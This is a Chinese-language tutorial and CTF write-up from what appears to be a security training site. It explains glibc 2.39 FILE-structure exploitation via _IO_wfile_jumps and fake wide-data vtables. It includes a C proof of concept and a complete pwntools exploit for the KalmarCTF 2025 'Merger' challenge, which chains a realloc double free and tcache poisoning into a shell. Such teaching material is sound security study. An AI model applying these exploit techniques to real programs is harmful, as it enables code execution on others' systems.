当前位置: 首页 > 技术干货 > 浅谈glibc2.39下的堆利用

浅谈glibc2.39下的堆利用

发表于:2025-11-27 15:23 作者: lloyd 阅读数(72人)

glibc2.34以后取消了__free_hook以及__malloc_hook,因此需要找到一个可以控制程序执行流程的函数指针代替__free_hook以及__malloc_hook

struct _IO_FILE_plus
{
   _IO_FILE    file;
   IO_jump_t   *vtable;
}

在结构体_IO_FILE_plus中存在着类似于虚表的变量vtable,其中存储着许多函数指针。

image-20251009194102943

若能修改vtable指针并指向我们伪造的vtable,即可达成劫持程序执行流程的目的。

但是在glibc2.24之后加入了vtable指针的校验,简单来说就是会检测vtable指针是否在范围之内。因此在glibc2.24之后,需要找在范围内的vtable指针加以利用。

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
 uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;//计算在glibc中vtable指针的范围
 uintptr_t ptr = (uintptr_t) vtable;
 uintptr_t offset = ptr - (uintptr_t) __start___libc_IO_vtables; //判断当前vtable指针与起始位置的偏移
 if (__glibc_unlikely (offset >= section_length)) //若偏移大于最大距离则校验失败
   _IO_vtable_check ();
 return vtable;
}

glibc范围内存在着名为_IO_wfile_jumpsvtable指针。该跳转表中存在着一个特殊的函数_IO_wfile_overflow

image-20251009195029742

调用流程如下所示,简单来讲_IO_wfile_overflow最终调用的是_IO_wdoallocbuf将宏拆解,实际最终调用的是fp->_wide_data->_wide_vtable,而在调用fp->_wide_data->_wide_vtable的时候并没有检测vtable的合法性,因此倘若我们能够伪造__wide_data就能够控制_wide_vtable变量,最后将该跳转表内容修改为system,即可完成程序流程的劫持。

/*
_IO_wfile_overflow
=> _IO_wdoallocbuf
=> _IO_WDOALLOCATE
*/

wint_t
_IO_wfile_overflow (FILE *f, wint_t wch)
{
 //#define _IO_NO_WRITES         0x0008
 //f->_flags & _IO_NO_WRITES == 0
 if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
  {
     f->_flags |= _IO_ERR_SEEN;
     __set_errno (EBADF);
     return WEOF;
  }
 //#define _IO_CURRENTLY_PUTTING 0x0800
 //f->_flags & _IO_CURRENTLY_PUTTING == 0
 if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0)
  {
     //f->_wide_data->_IO_write_base == 0
     if (f->_wide_data->_IO_write_base == 0)
{
     //满足上述条件执行fp->_wide_data->_wide_vtable
 _IO_wdoallocbuf (f);
...

void
_IO_wdoallocbuf (FILE *fp)
{
 //fp->_wide_data->_IO_buf_base == 0
 if (fp->_wide_data->_IO_buf_base)
   return;
 //#define _IO_UNBUFFERED       0x0002
 //fp->_flags & _IO_UNBUFFERED == 0
 if (!(fp->_flags & _IO_UNBUFFERED))
   if ((wint_t)_IO_WDOALLOCATE (fp) != WEOF)
     return;
...

#define _IO_WDOALLOCATE(FP) WJUMP0 (__doallocate, FP)
#define WJUMP0(FUNC, THIS) (_IO_WIDE_JUMPS_FUNC(THIS)->FUNC) (THIS)
#define _IO_WIDE_JUMPS_FUNC(THIS) _IO_WIDE_JUMPS(THIS)
#define _IO_WIDE_JUMPS(THIS) \
 _IO_CAST_FIELD_ACCESS ((THIS), struct _IO_FILE, _wide_data)->_wide_vtable

根据上述源码我们可以知道,想要执行_IO_wdoallocbuf需要满足以下几个条件

  • f->_flags & _IO_NO_WRITES == 0

  • f->_flags & _IO_CURRENTLY_PUTTING == 0

  • f->_wide_data->_IO_write_base == 0

  • fp->_wide_data->_IO_buf_base == 0

  • fp->_flags & _IO_UNBUFFERED == 0

想要让程序执行_IO_wfile_overflow函数需要触发以下调用链

image-20251009221543800

_IO_cleanup函数的作用是清理所有打开的标准I/O流,因此在程序退出时就会调用。

image-20251009221812005

_IO_cleanup函数调用如下所示,实际内部执行的函数为_IO_flush_all

int
_IO_cleanup (void)
{
  ...
 int result = _IO_flush_all ();
  ...
}

int
_IO_flush_all (void)
{
  ...
 for (fp = (FILE *) _IO_list_all; fp != NULL; fp = fp->_chain)
  {
    ...
     if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
  || (_IO_vtable_offset (fp) == 0
      && fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
   > fp->_wide_data->_IO_write_base))
  )
 && _IO_OVERFLOW (fp, EOF) == EOF)
        ...
}

_IO_list_all执行的列表顺序为stderr->stdout->stdin,因此我们可以通过修改stderr->_wide_datastderr->vtable就可以优先触发利用链,但是依旧需要满足以下限制条件:

  • fp->_mode == 0

  • fp->_IO_write_ptr > fp->_IO_write_base

POC

根据上述条件,总结POC如下

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
struct _IO_jump_t {
   void *funcs[27]; // 伪占位,不同glibc版本可能不同
};
struct _IO_FILE_plus {
   FILE file;
   const struct _IO_jump_t *vtable;
};
extern struct _IO_FILE_plus _IO_2_1_stderr_;
extern const struct _IO_jump_t _IO_wfile_jumps;
long  *fake_IO_wide_data;
long *fake_wide_vtable;
long * p;
int main() {
   //_IO_wide_data结构大小为0xe8
   fake_IO_wide_data = (long *)malloc(0xe8);
   //跳转表结构大小为0xe8
   fake_wide_vtable = (long *)malloc(0xa8);
   //glibc2.39:_IO_wfile_jumps = _IO_file_jumps + 0x1f8
   _IO_2_1_stderr_.vtable = (char *)_IO_2_1_stderr_.vtable + 0x1f8;
   stderr->_wide_data = fake_IO_wide_data;
   stderr->_IO_write_ptr = 1;
   stderr->_IO_write_base = 0;
   *(long **)((char *)fake_IO_wide_data + 0xe0) = fake_wide_vtable;
   *(long **)((char *)fake_wide_vtable + 0x68) = (long *)system;
   //0xfbad为魔数,0x0101是为了拼接后续的sh字符串
   memcpy((char *)&stderr->_flags,"\x01\x01\xad\xfb;sh",8);
   return 0;
}

python脚本

#fake_wide_vtable(0xa8)
payload  = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770

#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data  = heapbase + 0x1670

#fake stderr(0xe0)
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b' sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_IO_wide_data
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock          = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)

例题

KalmarCTF 2025-Merger

image-20251016101218782

merge功能中堆块是通过realloc函数对srcdst堆块进行合并,合并完成之后,使用free函数对src堆块进行释放。但是这里存在一个漏洞点,没有限制srcdst堆块的下标,使得srcdst堆块的下标可以设置为同一个值。

realloc函数在重新分配堆块时会出现以下情况:

  1. 当重新申请的堆块的size小于当前堆块的size,则realloc会分割当前堆块

  2. 当重新申请的堆块的size大于当前堆块的size,则realloc会先free当前堆块,再malloc申请的size

结合merage功能,当以条件二执行realloc函数时会执行free(s)并紧接着执行free(src),因此当s=src时,就会导致double free漏洞。

想要利用上述double free漏洞,则需要满足以下条件:

  • realloc申请的堆块要比合并的堆块大(以条件二方式执行realloc函数)

  • double free的堆块size需要小于0x100,否则申请不到(add功能最大只能申请0xff堆块)

漏洞利用流程

  • 设置srcdst的下标为相同值

  • malloc(0xf7)的堆块放置在unsortbin中,紧接着src堆块从unsortbin中申请,这样就能够满足double free的堆块size小于0x100

  • src堆块从unsortbin中申请,当以条件二方式执行realloc函数时则执行:

    • free(src)

    • 触发unlinksrc堆块合并回unsortbin

  • 紧接着执行merge函数的free(src),则src会放在tcachebin中,则构造出uaf漏洞,泄露libc地址

  • 后续将src堆块放进fastbin中,构造double free漏洞,当相应大小的tcachebin被申请完毕后,fastbin中的堆块会被放置在tcachebin中,从而变相构造出Tcache Poisoning

  • 利用Tcache Poisoning指向堆块(size大于0xe0,由于io_file结构体需要0xe0大小的空间)

  • 利用io_file获得shell

EXP

from pwn import *

sh = process("./merger")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
context.update(arch='amd64', os='linux', bits=64)

def add(index,size,data):
   sh.recvuntil("> ")
   sh.sendline("1")
   sh.recvuntil("dex: ")
   sh.sendline(str(index))
   sh.recvuntil("ize: ")
   sh.sendline(str(size))
   sh.recvuntil("ta: ")
   sh.send(data)
   

def delete(index):
   sh.recvuntil("> ")
   sh.sendline("2")
   sh.recvuntil("dex: ")
   sh.sendline(str(index))


def show(index):
   sh.recvuntil("> ")
   sh.sendline("3")
   sh.recvuntil("dex: ")
   sh.sendline(str(index))

def merge(dst,src):
   sh.recvuntil("> ")
   sh.sendline("4")
   sh.recvuntil("st: ")
   sh.sendline(str(dst))
   sh.recvuntil("src: ")
   sh.sendline(str(src))

for i in range(7):
   add(i,0x87,0x87*'a')
for i in range(7):
   add(i+7,0xf7,0xf7*'a')
   
add(14,0x87,0x87*'a')
add(15,0xf7,0xf7*'a')
add(16,0x98,0x98*'a')

for i in range(7):
   delete(i+7)
delete(15)
add(14,0x87,0x87*'a')

for i in range(7):
   delete(i)

for i in range(7):
   add(i,0xf0,0xf0*'a')

#堆块同时释放在unsortbin与tcachebin中
merge(14,14)
sh.recvuntil("a"*0x87,drop=True)
libc_main_arena = u64(sh.recv(6).ljust(8,b"\x00"))
libcbase = libc_main_arena - 0x203b20
log.info("libcbase:"+hex(libcbase))
#修复unsortbin
payload = p64(libc_main_arena)*2
payload = payload.ljust(0xf0,b"a")
#堆块20与堆块21指向同一个堆块,一个从tcachebin中申请,一个从unsortbin中申请
add(20,0xf0,payload)
add(21,0x77,'a'*0x77)
add(22,0x77,'a'*0x77)

for i in range(7):
   add(i,0x77,0x77*'a')
for i in range(7):
   delete(i)
delete(21)
show(20)  #uaf泄露数据
heapbase = u64(sh.recvuntil("\n",drop=True).ljust(8,b"\x00"))<<12
log.info("heapbase:"+hex(heapbase))
#fastbin double free
delete(22)
delete(20)

for i in range(7):
   add(i,0x77,0x77*'a')
for i in range(3):
   add(i+7,0xf7,0xf7*'a')
for i in range(3):
   delete(i+7)
#0x77的堆块大小不足以存储IO_File结构体,因此需要利用Tcache Poisoning指向0x100的堆块
payload = p64((heapbase + 0x1670) ^ (heapbase>>12))
payload = payload.ljust(0x77,b"a")
add(20,0x77,payload)
add(0,0x77,'a'*0x77)
add(0,0x77,'a'*0x77)
#利用Tcache Poisoning指向_IO_2_1_stderr_
payload = p64((libcbase + libc.symbols['_IO_2_1_stderr_']) ^ (heapbase+0x1000>>12))
payload = payload.ljust(0x77,b"a")
add(0,0x77,payload)

#fake_wide_vtable(0xa8)
payload  = b'\x00'*0x68 + p64(libcbase + libc.symbols['system'])
payload = payload.ljust(0xa8,b"\x00")
add(26,0xa8,payload)
fake_wide_vtable = heapbase + 0x1770

#fake_IO_wide_data(0xe8)
payload = b'\x00' * 0xe0 + p64(fake_wide_vtable)
add(25,0xe8,payload)
fake_IO_wide_data  = heapbase + 0x1670

#fake stderr(0xe0)
fake_stderr                = FileStructure(0)
fake_stderr.flags          = u64(b' sh\x00\x00\x00\x00')
fake_stderr._IO_write_base = 0
fake_stderr._IO_write_ptr  = 1 # _IO_write_ptr > _IO_write_base
fake_stderr._wide_data     = fake_IO_wide_data
fake_stderr.vtable         = libc.symbols['_IO_wfile_jumps'] + libcbase
fake_stderr._lock          = 0x205700 + libcbase #_IO_stdfile_2_lock
fake_stderr_bytes = bytes(fake_stderr)
print(hex(len(fake_stderr_bytes)))
add(2,0xf0,fake_stderr_bytes+p64(0xfbad2887)+b"\n")
sh.interactive()

  

本课程最终解释权归蚁景网安学院

本页面信息仅供参考,请扫码咨询客服了解本课程最新内容和活动

🎈网安学院推荐课程: 渗透测试工程师特训班 Web安全工程师特训班 Python网络安全实战班 应急响应安全工程师特训班
  CTF-Reverse实战技能特训班 CTF-WEB实战技能特训班 CTF-PWN实战技能特训班 CTF-MISC实战技能特训班   SRC赏金猎人大师班 HVV大师课